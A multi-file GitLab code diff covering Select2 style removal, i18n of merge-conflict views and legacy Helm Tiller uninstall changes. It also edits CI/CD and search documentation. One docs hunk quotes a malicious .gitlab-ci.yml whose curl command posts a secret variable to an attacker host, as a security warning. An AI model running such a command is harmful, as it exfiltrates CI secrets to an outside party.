border-top: 1px solid $border-color;
}
&.has-body {
.file-title {
box-shadow: 0 -2px 0 0 var(--white);

View file

@ -133,11 +133,6 @@ label {
}
.input-group {
.select2-container {
display: table-cell;
max-width: 180px;
}
.input-group-prepend,
.input-group-append {
background-color: $input-group-addon-bg;

View file

@ -1,275 +1,3 @@
/** Select2 selectbox style override **/
.select2-container {
width: 100% !important;
&.input-md,
&.input-lg {
display: block;
}
}
.select2-container,
.select2-container.select2-drop-above {
.select2-choice {
background: $white;
color: $gl-text-color;
border-color: $input-border;
height: 34px;
padding: $gl-vert-padding $gl-input-padding;
font-size: $gl-font-size;
line-height: 1.42857143;
border-radius: $border-radius-base;
.select2-arrow {
background-image: none;
background-color: transparent;
border: 0;
padding-top: 12px;
padding-right: 20px;
font-size: 10px;
b {
display: none;
}
&::after {
content: '\f078';
position: absolute;
z-index: 1;
text-align: center;
pointer-events: none;
box-sizing: border-box;
color: $gray-darkest;
display: inline-block;
font: normal normal normal 14px/1 FontAwesome;
font-size: inherit;
text-rendering: auto;
-webkit-font-smoothing: antialiased;
-moz-osx-font-smoothing: grayscale;
}
}
.select2-chosen {
margin-right: 15px;
}
&:hover {
border-color: $gray-darkest;
color: $gl-text-color;
}
}
// Essentially were doing @include form-control-focus here (from
// bootstrap/scss/mixins/_forms.scss), except that the bootstrap mixin adds a
// `&:focus` selector and were never actually focusing the .select2-choice
// link nor the .select2-container, the Select2 library focuses an off-screen
// .select2-focusser element instead.
&.select2-container-active:not(.select2-dropdown-open) {
.select2-choice {
color: $input-focus-color;
background-color: $input-focus-bg;
border-color: $input-focus-border-color;
outline: 0;
}
// Reusable focus glow box-shadow
@mixin form-control-focus-glow {
@if $enable-shadows {
box-shadow: $input-box-shadow, $input-focus-box-shadow;
} @else {
box-shadow: $input-focus-box-shadow;
}
}
// Apply the focus glow shadow to the .select2-container if it also has
// the .block-truncated class as that applies an overflow: hidden, thereby
// hiding the glow of the nested .select2-choice element.
&.block-truncated {
@include form-control-focus-glow;
}
// Apply the glow directly to the .select2-choice link if were not
// block-truncating the container.
&:not(.block-truncated) .select2-choice {
@include form-control-focus-glow;
}
}
&.is-invalid {
~ .invalid-feedback {
display: block;
}
.select2-choices,
.select2-choice {
border-color: $red-500;
}
}
}
.select2-drop,
.select2-drop.select2-drop-above {
background: $white;
box-shadow: 0 2px 4px $dropdown-shadow-color;
border-radius: $border-radius-base;
border: 1px solid $border-color;
min-width: 175px;
color: $gl-text-color;
z-index: 999;
.modal-open & {
z-index: $zindex-modal + 200;
}
}
.select2-drop-mask {
z-index: 998;
.modal-open & {
z-index: $zindex-modal + 100;
}
}
.select2-drop.select2-drop-above.select2-drop-active {
border-top: 1px solid $border-color;
margin-top: -6px;
}
.select2-container-active {
.select2-choice,
.select2-choices {
box-shadow: none;
}
}
.select2-dropdown-open,
.select2-dropdown-open.select2-drop-above {
.select2-choice {
border-color: $gray-darkest;
outline: 0;
}
}
.select2-container-multi {
.select2-choices {
border-radius: $border-radius-default;
border-color: $input-border;
background: none;
.select2-search-field input {
padding: 5px $gl-input-padding;
height: auto;
font-family: inherit;
font-size: inherit;
}
.select2-search-choice {
margin: 5px 0 0 8px;
box-shadow: none;
border-color: $input-border;
color: $gl-text-color;
line-height: 15px;
background-color: $gray-light;
background-image: none;
padding: 3px 18px 3px 5px;
.select2-search-choice-close {
top: 5px;
left: initial;
right: 3px;
}
&.select2-search-choice-focus {
border-color: $gl-text-color;
}
}
}
}
.select2-drop-active {
margin-top: $dropdown-vertical-offset;
font-size: 14px;
.select2-results {
max-height: 350px;
}
}
.select2-search {
padding: $grid-size;
.select2-drop-auto-width & {
padding: $grid-size;
}
input {
padding: $grid-size;
background: transparent image-url('select2.png');
color: $gl-text-color;
background-clip: content-box;
background-origin: content-box;
background-repeat: no-repeat;
background-position: right 0 bottom 0 !important;
border: 1px solid $input-border;
border-radius: $border-radius-default;
line-height: 16px;
transition: border-color ease-in-out 0.15s, box-shadow ease-in-out 0.15s;
&:focus {
border-color: $blue-300;
}
&.select2-active {
background-color: $white;
background-image: image-url('select2-spinner.gif') !important;
background-origin: content-box;
background-repeat: no-repeat;
background-position: right 6px center !important;
background-size: 16px 16px !important;
}
}
+ .select2-results {
padding-top: 0;
}
}
.select2-results {
margin: 0;
padding: #{$gl-padding / 2} 0;
.select2-no-results,
.select2-searching,
.select2-ajax-error,
.select2-selection-limit {
background: transparent;
padding: #{$gl-padding / 2} $gl-padding;
}
.select2-result-label,
.select2-more-results {
padding: #{$gl-padding / 2} $gl-padding;
}
.select2-highlighted {
background: transparent;
color: $gl-text-color;
.select2-result-label {
background: $gray-darker;
}
}
.select2-result {
padding: 0 1px;
}
li.select2-result-with-children > .select2-result-label {
font-weight: $gl-font-weight-bold;
color: $gl-text-color;
}
}
.ajax-users-select {
width: 400px;
@ -282,14 +10,6 @@
}
}
.select2-highlighted {
.group-result {
.group-path {
color: $gray-700;
}
}
}
.group-result {
.group-image {
float: left;
@ -345,11 +65,3 @@
.ajax-users-dropdown {
min-width: 250px !important;
}
.select2-result-selectable,
.select2-result-unselectable {
.select2-match {
font-weight: $gl-font-weight-bold;
text-decoration: none;
}
}

View file

@ -74,10 +74,6 @@
justify-content: flex-end;
}
.select2 {
float: right;
}
.encoding-selector,
.soft-wrap-toggle {
display: inline-block;

View file

@ -17,14 +17,6 @@
max-width: 300px;
}
.import-namespace-select {
> .select2-choice {
border-radius: $border-radius-default 0 0 $border-radius-default;
position: relative;
left: 1px;
}
}
.import-slash-divider {
background-color: $gray-lightest;
border: 1px solid $border-color;

View file

@ -199,10 +199,6 @@
border: 0;
}
.select2-container span {
margin-top: 0;
}
&.assignee {
.author-link {
display: block;

View file

@ -92,6 +92,11 @@ ul.related-merge-requests > li {
}
}
.issues-footer {
padding-top: $gl-padding;
padding-bottom: 37px;
}
.issues-nav-controls,
.new-branch-col {
font-size: 0;

View file

@ -10,12 +10,6 @@
}
.input-group {
.select2-container {
display: unset;
max-width: unset;
flex-grow: 1;
}
> div {
&:last-child {
padding-right: 0;
@ -52,7 +46,6 @@
flex-grow: 1;
}
+ .select2 a,
+ .btn-default {
border-radius: 0 $border-radius-base $border-radius-base 0;
}
@ -258,10 +251,6 @@
color: $gray-700;
}
.transfer-project .select2-container {
min-width: 200px;
}
.deploy-key {
// Ensure that the fingerprint does not overflow on small screens
.fingerprint {
@ -1057,11 +1046,6 @@ pre.light-well {
margin-bottom: 0;
}
}
.select2-choice {
border-top-right-radius: 0;
border-bottom-right-radius: 0;
}
}
.project-home-empty {

View file

@ -40,12 +40,11 @@ module Mutations
authorize :create_release
def resolve(project_path:, milestones: nil, assets: nil, **scalars)
def resolve(project_path:, assets: nil, **scalars)
project = authorized_find!(full_path: project_path)
params = {
**scalars,
milestones: milestones.presence || [],
assets: assets.to_h
}.with_indifferent_access

View file

@ -4,8 +4,8 @@ require 'openssl'
module Clusters
module Applications
# DEPRECATED: This model represents the Helm 2 Tiller server, and is no longer being actively used.
# It is being kept around for a potential cleanup of the unused Tiller server.
# DEPRECATED: This model represents the Helm 2 Tiller server.
# It is being kept around to enable the cleanup of the unused Tiller server.
class Helm < ApplicationRecord
self.table_name = 'clusters_applications_helm'
@ -27,29 +27,11 @@ module Clusters
end
def set_initial_status
return unless not_installable?
self.status = status_states[:installable] if cluster&.platform_kubernetes_active?
end
# It can only be uninstalled if there are no other applications installed
# or with intermitent installation statuses in the database.
def allowed_to_uninstall?
strong_memoize(:allowed_to_uninstall) do
applications = nil
Clusters::Cluster::APPLICATIONS.each do |application_name, klass|
next if application_name == 'helm'
extra_apps = Clusters::Applications::Helm.where('EXISTS (?)', klass.select(1).where(cluster_id: cluster_id))
applications = applications ? applications.or(extra_apps) : extra_apps
end
!applications.exists?
end
# The legacy Tiller server is not installable, which is the initial status of every app
end
# DEPRECATED: This command is only for development and testing purposes, to simulate
# a Helm 2 cluster with an existing Tiller server.
def install_command
Gitlab::Kubernetes::Helm::V2::InitCommand.new(
name: name,
@ -70,13 +52,6 @@ module Clusters
ca_key.present? && ca_cert.present?
end
def post_uninstall
cluster.kubeclient.delete_namespace(Gitlab::Kubernetes::Helm::NAMESPACE)
rescue Kubeclient::ResourceNotFoundError
# we actually don't care if the namespace is not present
# since we want to delete it anyway.
end
private
def files

View file

@ -21,6 +21,10 @@ class SnippetBlob
data.bytesize
end
def commit_id
nil
end
def data
snippet.content
end

View file

@ -78,7 +78,7 @@ module Releases
end
def param_for_milestone_titles_provided?
params.key?(:milestones)
!!params[:milestones]
end
def execute_hooks(release, action = 'create')

View file

@ -27,6 +27,7 @@
provider_type: @cluster.provider_type,
pre_installed_knative: @cluster.knative_pre_installed? ? 'true': 'false',
help_path: help_page_path('user/project/clusters/index.md', anchor: 'installing-applications'),
helm_help_path: help_page_path('user/clusters/applications.md', anchor: 'helm'),
ingress_help_path: help_page_path('user/project/clusters/index.md', anchor: 'getting-the-external-endpoint'),
ingress_dns_help_path: help_page_path('user/clusters/applications.md', anchor: 'pointing-your-dns-at-the-external-endpoint'),
ingress_mod_security_help_path: help_page_path('user/clusters/applications.md', anchor: 'web-application-firewall-modsecurity'),

View file

@ -1,16 +1,11 @@
.content-block.oneline-block.files-changed{ "v-if" => "!isLoading && !hasError" }
.inline-parallel-buttons{ "v-if" => "showDiffViewTypeSwitcher" }
.btn-group
%button.btn{ ":class" => "{'active': !isParallel}", "@click" => "handleViewTypeChange('inline')" }
Inline
%button.btn{ ":class" => "{'active': isParallel}", "@click" => "handleViewTypeChange('parallel')" }
Side-by-side
%button.btn.gl-button{ ":class" => "{'active': !isParallel}", "@click" => "handleViewTypeChange('inline')" }
= _('Inline')
%button.btn.gl-button{ ":class" => "{'active': isParallel}", "@click" => "handleViewTypeChange('parallel')" }
= _('Side-by-side')
.js-toggle-container
.commit-stat-summary
Showing
%strong.cred {{conflictsCountText}}
between
%strong.ref-name {{conflictsData.sourceBranch}}
and
%strong.ref-name {{conflictsData.targetBranch}}
= _('Showing %{conflict_start}%{conflicts_text}%{strong_end} between %{ref_start}%{source_branch}%{strong_end} and %{ref_start}%{target_branch}%{strong_end}').html_safe % { conflict_start: '<strong class="cred">'.html_safe, ref_start: '<strong class="ref-name">'.html_safe, strong_end: '</strong>'.html_safe, conflicts_text: '{{conflictsCountText}}', source_branch: '{{conflictsData.sourceBranch}}', target_branch: '{{conflictsData.targetBranch}}' }

View file

@ -1,12 +1,12 @@
.file-actions
.btn-group{ "v-if" => "file.type === 'text'" }
%button.btn{ ":class" => "{ 'active': file.resolveMode == 'interactive' }",
.file-actions.d-flex.align-items-center.gl-ml-auto.gl-align-self-start
.btn-group.gl-mr-3{ "v-if" => "file.type === 'text'" }
%button.btn.gl-button{ ":class" => "{ 'active': file.resolveMode == 'interactive' }",
'@click' => "onClickResolveModeButton(file, 'interactive')",
type: 'button' }
Interactive mode
%button.btn{ ':class' => "{ 'active': file.resolveMode == 'edit' }",
= _('Interactive mode')
%button.btn.gl-button{ ':class' => "{ 'active': file.resolveMode == 'edit' }",
'@click' => "onClickResolveModeButton(file, 'edit')",
type: 'button' }
Edit inline
%a.btn.view-file{ ":href" => "file.blobPath" }
View file @{{conflictsData.shortCommitSha}}
= _('Edit inline')
%a.btn.gl-button.view-file{ ":href" => "file.blobPath" }
= _('View file @%{commit_sha}') % { commit_sha: '{{conflictsData.shortCommitSha}}' }

View file

@ -18,7 +18,7 @@
.offset-md-4.col-md-8
.row
.col-6
%button.btn.btn-success.js-submit-button{ type: "button", "@click" => "commit()", ":disabled" => "!readyToCommit" }
%button.btn.gl-button.btn-success.js-submit-button{ type: "button", "@click" => "commit()", ":disabled" => "!readyToCommit" }
%span {{commitButtonText}}
.col-6.text-right
= link_to "Cancel", project_merge_request_path(@merge_request.project, @merge_request), class: "gl-button btn btn-cancel"

View file

@ -20,9 +20,10 @@
.files-wrapper{ "v-if" => "!isLoading && !hasError" }
.files
.diff-file.file-holder.conflict{ "v-for" => "file in conflictsData.files" }
.js-file-title.file-title
%i.fa.fa-fw{ ":class" => "file.iconClass" }
%strong {{file.filePath}}
.js-file-title.file-title.file-title-flex-parent.cursor-default
.file-header-content
%file-icon{ ':file-name': 'file.filePath', ':size': '18', 'css-classes': 'gl-mr-2' }
%strong.file-title-name {{file.filePath}}
= render partial: 'projects/merge_requests/conflicts/file_actions'
.diff-content.diff-wrap-lines
.file-content{ "v-show" => "!isParallel && file.resolveMode === 'interactive' && file.type === 'text'" }

View file

@ -0,0 +1,5 @@
---
title: Add option to uninstall the legacy Tiller server for clusters added before GitLab 13.2
merge_request: 47457
author:
type: changed

View file

@ -0,0 +1,5 @@
---
title: Fix single file snippets display for Geo secondary sites
merge_request: 46812
author:
type: fixed

View file

@ -158,6 +158,11 @@ For an overview, see [Create child pipelines using dynamically generated configu
We also have an [example project using Dynamic Child Pipelines with Jsonnet](https://gitlab.com/gitlab-org/project-templates/jsonnet) which shows how to use a data templating language to generate your `.gitlab-ci.yml` at runtime. You could use a similar process for other templating languages like [Dhall](https://dhall-lang.org/) or [`ytt`](https://get-ytt.io/).
The artifact path is parsed by GitLab, not the runner, so the path must match the
syntax for the OS running GitLab. If GitLab is running on Linux but using a Windows
runner for testing, the path separator for the trigger job would be `/`. Other CI/CD
configuration for jobs, like scripts, that use the Windows runner would use `\`.
In GitLab 12.9, the child pipeline could fail to be created in certain cases, causing the parent pipeline to fail.
This is [resolved in GitLab 12.10](https://gitlab.com/gitlab-org/gitlab/-/issues/209070).

View file

@ -56,15 +56,15 @@ is installed on.
> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/12328) in GitLab 9.4.
You can pass any number of arbitrary variables and they will be available in
You can pass any number of arbitrary variables. They are available in
GitLab CI/CD so that they can be used in your [`.gitlab-ci.yml` file](../../ci/yaml/README.md).
![Scheduled pipeline variables](img/pipeline_schedule_variables.png)
### Using only and except
To configure that a job can be executed only when the pipeline has been
scheduled (or the opposite), you can use
To configure a job to be executed only when the pipeline has been
scheduled (or the opposite), use
[only and except](../yaml/README.md#onlyexcept-basic) configuration keywords.
For example:
@ -102,7 +102,7 @@ For GitLab.com, refer to the [dedicated settings page](../../user/gitlab_com/ind
## Working with scheduled pipelines
Once configured, GitLab supports many functions for working with scheduled pipelines.
After configuration, GitLab supports many functions for working with scheduled pipelines.
### Running manually
@ -128,7 +128,7 @@ The next time a pipeline is scheduled, your credentials are used.
![Schedules list](img/pipeline_schedules_ownership.png)
If the owner of a pipeline schedule does not have the ability to create
If the owner of a pipeline schedule cannot create
pipelines on the target branch, the schedule stops creating new
pipelines.

View file

@ -142,7 +142,7 @@ Here is a simplified example of a malicious `.gitlab-ci.yml`:
```yaml
build:
script:
- curl --request POST --data "secret_variable=$SECRET_VARIABLE" https://maliciouswebsite.abcd/
- curl --request POST --data "secret_variable=$SECRET_VARIABLE" "https://maliciouswebsite.abcd/"
```
### Custom environment variables of type Variable
@ -442,7 +442,7 @@ You can define instance-level variables via the UI or [API](../../api/instance_l
To add an instance-level variable:
1. Navigate to your admin area's **Settings > CI/CD** and expand the **Variables** section.
1. Navigate to your Admin Area's **Settings > CI/CD** and expand the **Variables** section.
1. Click the **Add variable** button, and fill in the details:
- **Key**: Must be one line, using only letters, numbers, or `_` (underscore), with no spaces.

View file

@ -122,10 +122,10 @@ This is also not just applied to models. Here's a list of other examples:
To test an `EE` namespaced module that extends a CE class with EE features,
create the spec file as you normally would in the `ee/spec` directory, including the second `ee/` subdirectory.
For example, an extension `ee/app/models/ee/user.rb` would have its tests in `ee/app/models/ee/user_spec.rb`.
For example, an extension `ee/app/models/ee/user.rb` would have its tests in `ee/spec/models/ee/user_spec.rb`.
In the `RSpec.describe` call, use the CE class name where the EE module would be used.
For example, in `ee/app/models/ee/user_spec.rb`, the test would start with:
For example, in `ee/spec/models/ee/user_spec.rb`, the test would start with:
```ruby
RSpec.describe User do

View file

@ -435,6 +435,55 @@ After the reindexing is completed, the original index will be scheduled to be de
While the reindexing is running, you will be able to follow its progress under that same section.
## Background migrations
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/234046) in GitLab 13.6.
With reindex migrations running in the background, there's no need for a manual
intervention. This usually happens in situations where new features are added to
Advanced Search, which means adding or changing the way content is indexed.
To confirm that the background migrations ran, you can check with:
```shell
curl "$CLUSTER_URL/gitlab-production-migrations/_search?q=*" | jq .
```
This should return something similar to:
```json
{
"took": 14,
"timed_out": false,
"_shards": {
"total": 1,
"successful": 1,
"skipped": 0,
"failed": 0
},
"hits": {
"total": {
"value": 1,
"relation": "eq"
},
"max_score": 1,
"hits": [
{
"_index": "gitlab-production-migrations",
"_type": "_doc",
"_id": "20201105181100",
"_score": 1,
"_source": {
"completed": true
}
}
]
}
}
```
In order to debug issues with the migrations you can check the [`elasticsearch.log` file](../administration/logs.md#elasticsearchlog).
## GitLab Advanced Search Rake tasks
Rake tasks are available to:

View file

@ -65,6 +65,7 @@ supported by GitLab before installing any of the applications.
> - Introduced in GitLab 11.6 for group-level clusters.
> - [Uses a local Tiller](https://gitlab.com/gitlab-org/gitlab/-/issues/209736) in GitLab 13.2 and later.
> - [Uses Helm 3](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/46267) for clusters created with GitLab 13.6 and later.
> - [Offers legacy Tiller removal](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/47457) in GitLab 13.7 and later.
[Helm](https://helm.sh/docs/) is a package manager for Kubernetes and is
used to install the GitLab-managed apps. GitLab runs each `helm` command
@ -72,12 +73,12 @@ in a pod within the `gitlab-managed-apps` namespace inside the cluster.
- For clusters created on GitLab 13.6 and newer, GitLab uses Helm 3 to manage
applications.
- For clusters created on versions of GitLab prior to 13.6, GitLab uses
Helm 2 with a local [Tiller](https://v2.helm.sh/docs/glossary/#tiller) server.
Prior to [GitLab 13.2](https://gitlab.com/gitlab-org/gitlab/-/issues/209736),
GitLab used an in-cluster Tiller server in the `gitlab-managed-apps`
namespace. You can safely remove this server after upgrading to GitLab 13.2
or newer.
- For clusters created on versions of GitLab prior to 13.6, GitLab uses Helm 2
with a local [Tiller](https://v2.helm.sh/docs/glossary/#tiller) server. Prior
to [GitLab 13.2](https://gitlab.com/gitlab-org/gitlab/-/issues/209736), GitLab
used an in-cluster Tiller server in the `gitlab-managed-apps` namespace. You
can safely uninstall the server from GitLab's application page if you have
previously installed it. This will not affect your other applications.
GitLab's Helm integration does not support installing applications behind a proxy,
but a [workaround](../../topics/autodevops/index.md#install-applications-behind-a-proxy)

View file

@ -22,17 +22,6 @@ module Gitlab
def repository_update_command
'helm repo update'
end
def optional_tls_flags
return [] unless files.key?(:'ca.pem')
[
'--tls',
'--tls-ca-cert', "#{files_dir}/ca.pem",
'--tls-cert', "#{files_dir}/cert.pem",
'--tls-key', "#{files_dir}/key.pem"
]
end
end
end
end

View file

@ -9,9 +9,8 @@ module Gitlab
def generate_script
super + [
reset_helm_command,
delete_tiller_replicaset,
delete_tiller_clusterrolebinding
init_command,
reset_helm_command
].join("\n")
end
@ -21,27 +20,8 @@ module Gitlab
private
# This method can be delete once we upgrade Helm to > 12.13.0
# https://gitlab.com/gitlab-org/gitlab-foss/merge_requests/27096#note_159695900
#
# Tracking this method to be removed here:
# https://gitlab.com/gitlab-org/gitlab-foss/issues/52791#note_199374155
def delete_tiller_replicaset
delete_args = %w[replicaset -n gitlab-managed-apps -l name=tiller]
Gitlab::Kubernetes::KubectlCmd.delete(*delete_args)
end
def delete_tiller_clusterrolebinding
delete_args = %w[clusterrolebinding tiller-admin]
Gitlab::Kubernetes::KubectlCmd.delete(*delete_args)
end
def reset_helm_command
command = %w[helm reset] + optional_tls_flags
command.shelljoin
'helm reset --force'
end
end
end

View file

@ -5842,6 +5842,9 @@ msgstr ""
msgid "ClusterIntegration|CA Certificate"
msgstr ""
msgid "ClusterIntegration|Can be safely removed. Prior to GitLab 13.2, GitLab used a remote Tiller server to manage the applications. GitLab no longer uses this server. Uninstalling this server will not affect your other applications. This row will disappear afterwards."
msgstr ""
msgid "ClusterIntegration|Cert-Manager"
msgstr ""
@ -6100,9 +6103,6 @@ msgstr ""
msgid "ClusterIntegration|HTTP Error"
msgstr ""
msgid "ClusterIntegration|Helm Tiller"
msgstr ""
msgid "ClusterIntegration|Helm release failed to install"
msgstr ""
@ -6205,6 +6205,9 @@ msgstr ""
msgid "ClusterIntegration|Learn more about instance Kubernetes clusters"
msgstr ""
msgid "ClusterIntegration|Legacy Helm Tiller server"
msgstr ""
msgid "ClusterIntegration|Loading IAM Roles"
msgstr ""
@ -6538,7 +6541,7 @@ msgstr ""
msgid "ClusterIntegration|The associated IP and all deployed services will be deleted and cannot be restored. Uninstalling Knative will also remove Istio from your cluster. This will not effect any other applications."
msgstr ""
msgid "ClusterIntegration|The associated Tiller pod, the %{gitlabManagedAppsNamespace} namespace, and all of its resources will be deleted and cannot be restored."
msgid "ClusterIntegration|The associated Tiller pod will be deleted and cannot be restored. Your other applications will remain unaffected."
msgstr ""
msgid "ClusterIntegration|The associated load balancer and IP will be deleted and cannot be restored."
@ -9915,6 +9918,9 @@ msgstr ""
msgid "Edit in single-file editor"
msgstr ""
msgid "Edit inline"
msgstr ""
msgid "Edit issues"
msgstr ""
@ -14717,6 +14723,9 @@ msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
msgstr ""
msgid "Interactive mode"
msgstr ""
msgid "Interested parties can even contribute by pushing commits if they want to."
msgstr ""
@ -24961,6 +24970,9 @@ msgid_plural "Showing %d events"
msgstr[0] ""
msgstr[1] ""
msgid "Showing %{conflict_start}%{conflicts_text}%{strong_end} between %{ref_start}%{source_branch}%{strong_end} and %{ref_start}%{target_branch}%{strong_end}"
msgstr ""
msgid "Showing %{count} of %{total} projects"
msgstr ""
@ -29889,6 +29901,9 @@ msgstr ""
msgid "View file @ %{commitSha}"
msgstr ""
msgid "View file @%{commit_sha}"
msgstr ""
msgid "View full dashboard"
msgstr ""

View file

@ -28,9 +28,9 @@ tests = [
},
{
explanation: 'Some EE extensions also map to its EE class spec, but this is not recommended: https://docs.gitlab.com/ee/development/ee_features.html#testing-ee-features-based-on-ce-features',
source: 'ee/app/models/ee/user.rb',
expected: ['ee/spec/models/user_spec.rb', 'spec/models/user_spec.rb']
explanation: 'Some EE extensions have specs placement that do not follow the recommendation: https://docs.gitlab.com/ee/development/ee_features.html#testing-ee-features-based-on-ce-features. `tff` should still find these misplaced specs.',
source: 'ee/app/models/ee/project.rb',
expected: ['ee/spec/models/project_spec.rb', 'spec/models/project_spec.rb']
},
{
@ -53,8 +53,8 @@ tests = [
{
explanation: 'EE spec code should map to itself',
source: 'ee/spec/models/user_spec.rb',
expected: ['ee/spec/models/user_spec.rb']
source: 'ee/spec/models/ee/user_spec.rb',
expected: ['ee/spec/models/ee/user_spec.rb', 'spec/models/user_spec.rb']
},
{

View file

@ -22,7 +22,7 @@ RSpec.describe Admin::Clusters::ApplicationsController do
post :create, params: params
end
let(:application) { 'helm' }
let(:application) { 'ingress' }
let(:params) { { application: application, id: cluster.id } }
describe 'functionality' do
@ -37,7 +37,7 @@ RSpec.describe Admin::Clusters::ApplicationsController do
expect { subject }.to change { current_application.count }
expect(response).to have_gitlab_http_status(:no_content)
expect(cluster.application_helm).to be_scheduled
expect(cluster.application_ingress).to be_scheduled
end
context 'when cluster do not exists' do
@ -61,7 +61,7 @@ RSpec.describe Admin::Clusters::ApplicationsController do
context 'when application is already installing' do
before do
create(:clusters_applications_helm, :installing, cluster: cluster)
create(:clusters_applications_ingress, :installing, cluster: cluster)
end
it 'returns 400' do

View file

@ -28,7 +28,7 @@ RSpec.describe Groups::Clusters::ApplicationsController do
post :create, params: params.merge(group_id: group)
end
let(:application) { 'helm' }
let(:application) { 'ingress' }
let(:params) { { application: application, id: cluster.id } }
describe 'functionality' do
@ -44,7 +44,7 @@ RSpec.describe Groups::Clusters::ApplicationsController do
expect { subject }.to change { current_application.count }
expect(response).to have_gitlab_http_status(:no_content)
expect(cluster.application_helm).to be_scheduled
expect(cluster.application_ingress).to be_scheduled
end
context 'when cluster do not exists' do
@ -68,7 +68,7 @@ RSpec.describe Groups::Clusters::ApplicationsController do
context 'when application is already installing' do
before do
create(:clusters_applications_helm, :installing, cluster: cluster)
create(:clusters_applications_ingress, :installing, cluster: cluster)
end
it 'returns 400' do

View file

@ -32,7 +32,7 @@ RSpec.describe Projects::Clusters::ApplicationsController do
let(:cluster) { create(:cluster, :project, :provided_by_gcp) }
let(:project) { cluster.project }
let(:application) { 'helm' }
let(:application) { 'ingress' }
let(:params) { { application: application, id: cluster.id } }
describe 'functionality' do
@ -48,7 +48,7 @@ RSpec.describe Projects::Clusters::ApplicationsController do
expect { subject }.to change { current_application.count }
expect(response).to have_gitlab_http_status(:no_content)
expect(cluster.application_helm).to be_scheduled
expect(cluster.application_ingress).to be_scheduled
end
context 'when cluster do not exists' do
@ -72,7 +72,7 @@ RSpec.describe Projects::Clusters::ApplicationsController do
context 'when application is already installing' do
before do
create(:clusters_applications_helm, :installing, cluster: cluster)
create(:clusters_applications_ingress, :installing, cluster: cluster)
end
it 'returns 400' do

View file

@ -0,0 +1,7 @@
# frozen_string_literal: true
FactoryBot.define do
factory :project_setting do
project
end
end

View file

@ -9,7 +9,7 @@ import BoardList from '~/boards/components/board_list_new.vue';
import BoardCard from '~/boards/components/board_card.vue';
import '~/boards/models/issue';
import '~/boards/models/list';
import { listObj, mockIssuesByListId, issues } from './mock_data';
import { listObj, mockIssuesByListId, issues, mockIssues } from './mock_data';
import defaultState from '~/boards/stores/state';
const localVue = createLocalVue();
@ -71,6 +71,7 @@ const createComponent = ({
disabled: false,
list,
issues: [issue],
canAdminList: true,
...componentProps,
},
store,
@ -87,17 +88,19 @@ const createComponent = ({
describe('Board list component', () => {
let wrapper;
const findByTestId = testId => wrapper.find(`[data-testid="${testId}"]`);
useFakeRequestAnimationFrame();
afterEach(() => {
wrapper.destroy();
wrapper = null;
});
describe('When Expanded', () => {
beforeEach(() => {
wrapper = createComponent();
});
afterEach(() => {
wrapper.destroy();
});
it('renders component', () => {
expect(wrapper.find('.board-list-component').exists()).toBe(true);
});
@ -107,7 +110,7 @@ describe('Board list component', () => {
state: { listsFlags: { 'gid://gitlab/List/1': { isLoading: true } } },
});
expect(wrapper.find('[data-testid="board_list_loading"').exists()).toBe(true);
expect(findByTestId('board_list_loading').exists()).toBe(true);
});
it('renders issues', () => {
@ -171,19 +174,15 @@ describe('Board list component', () => {
});
});
afterEach(() => {
wrapper.destroy();
});
it('loads more issues after scrolling', () => {
wrapper.vm.$refs.list.dispatchEvent(new Event('scroll'));
wrapper.vm.listRef.dispatchEvent(new Event('scroll'));
expect(actions.fetchIssuesForList).toHaveBeenCalled();
});
it('does not load issues if already loading', () => {
wrapper.vm.$refs.list.dispatchEvent(new Event('scroll'));
wrapper.vm.$refs.list.dispatchEvent(new Event('scroll'));
wrapper.vm.listRef.dispatchEvent(new Event('scroll'));
wrapper.vm.listRef.dispatchEvent(new Event('scroll'));
expect(actions.fetchIssuesForList).toHaveBeenCalledTimes(1);
});
@ -204,10 +203,6 @@ describe('Board list component', () => {
});
});
afterEach(() => {
wrapper.destroy();
});
describe('when issue count exceeds max issue count', () => {
it('sets background to bg-danger-100', async () => {
wrapper.setProps({ list: { issuesSize: 4, maxIssueCount: 3 } });
@ -233,4 +228,43 @@ describe('Board list component', () => {
});
});
});
describe('drag & drop issue', () => {
beforeEach(() => {
wrapper = createComponent();
});
describe('handleDragOnStart', () => {
it('adds a class `is-dragging` to document body', () => {
expect(document.body.classList.contains('is-dragging')).toBe(false);
findByTestId('tree-root-wrapper').vm.$emit('start');
expect(document.body.classList.contains('is-dragging')).toBe(true);
});
});
describe('handleDragOnEnd', () => {
it('removes class `is-dragging` from document body', () => {
jest.spyOn(wrapper.vm, 'moveIssue').mockImplementation(() => {});
document.body.classList.add('is-dragging');
findByTestId('tree-root-wrapper').vm.$emit('end', {
oldIndex: 1,
newIndex: 0,
item: {
dataset: {
issueId: mockIssues[0].id,
issueIid: mockIssues[0].iid,
issuePath: mockIssues[0].referencePath,
},
},
to: { children: [], dataset: { listId: 'gid://gitlab/List/1' } },
from: { dataset: { listId: 'gid://gitlab/List/2' } },
});
expect(document.body.classList.contains('is-dragging')).toBe(false);
});
});
});
});

View file

@ -50,6 +50,7 @@ describe('Clusters Store', () => {
expect(store.state).toEqual({
helpPath: null,
helmHelpPath: null,
ingressHelpPath: null,
environmentsHelpPath: null,
clustersHelpPath: null,
@ -62,7 +63,7 @@ describe('Clusters Store', () => {
rbac: false,
applications: {
helm: {
title: 'Helm Tiller',
title: 'Legacy Helm Tiller server',
status: mockResponseData.applications[0].status,
statusReason: mockResponseData.applications[0].status_reason,
requestReason: null,

View file

@ -12,32 +12,14 @@ RSpec.describe Gitlab::Kubernetes::Helm::V2::ResetCommand do
it_behaves_like 'helm command generator' do
let(:commands) do
<<~EOS
helm reset
kubectl delete replicaset -n gitlab-managed-apps -l name\\=tiller
kubectl delete clusterrolebinding tiller-admin
export HELM_HOST="localhost:44134"
tiller -listen ${HELM_HOST} -alsologtostderr &
helm init --client-only
helm reset --force
EOS
end
end
context 'when there is a ca.pem file' do
let(:files) { { 'ca.pem': 'some file content' } }
it_behaves_like 'helm command generator' do
let(:commands) do
<<~EOS1.squish + "\n" + <<~EOS2
helm reset
--tls
--tls-ca-cert /data/helm/helm/config/ca.pem
--tls-cert /data/helm/helm/config/cert.pem
--tls-key /data/helm/helm/config/key.pem
EOS1
kubectl delete replicaset -n gitlab-managed-apps -l name\\=tiller
kubectl delete clusterrolebinding tiller-admin
EOS2
end
end
end
describe '#pod_name' do
subject { reset_command.pod_name }

View file

@ -19,35 +19,9 @@ RSpec.describe Clusters::Applications::Helm do
